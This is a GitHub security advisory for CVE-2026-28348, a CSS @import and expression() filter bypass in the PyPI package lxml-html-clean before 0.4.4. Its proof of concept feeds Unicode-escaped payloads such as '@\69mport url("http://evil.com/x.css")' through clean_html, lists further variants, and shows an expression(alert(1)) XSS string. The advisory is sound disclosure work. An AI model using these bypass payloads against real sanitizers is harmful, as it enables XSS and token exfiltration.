GitHub Advisoryadvisory · PyPI

GHSA-hw26-mmpg-fqfg lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes

MEDIUM Published 2026-03-02 Modified 2026-03-05 Official page ↗
Aliases
CVE-2026-28348
Ecosystem
PyPI
Packages
lxml-html-clean
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weaknesses
CWE-116
Reviewed
2026-03-02

Affected packages

• PyPI lxml-html-clean: < 0.4.4 → fixed in 0.4.4

Description

Summary The `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers. Details The root cause is located in `clean.py` (around line 594): ```python style = style.replace('\\', '') ``` This transformation changes a payload like `@\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\69mport` as a valid `@import` statement. Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only). PoC ```python from lxml_html_clean import clean_html Normal @import is correctly blocked: clean_html('@import url("http://evil.com/x.css");') Output: url("http://evil.com/x.css"); Unicode escape bypass: result = clean_html('@\\69mport url("http://evil.com/x.css");') print(result) Output: @\69mport url("http://evil.com/x.css"); ``` If rendered in a browser, the browser loads the external CSS. Variants like `@\0069mport`, `@\69 mport` (trailing space), and `@\49mport` (uppercase I) also work. Impact External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.

Related

Alias · CVE (1)

  • CVE-2026-28348 lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. vulnerability

Weakness · CWE (1)

  • CWE-116 Improper Encoding or Escaping of Output weakness

References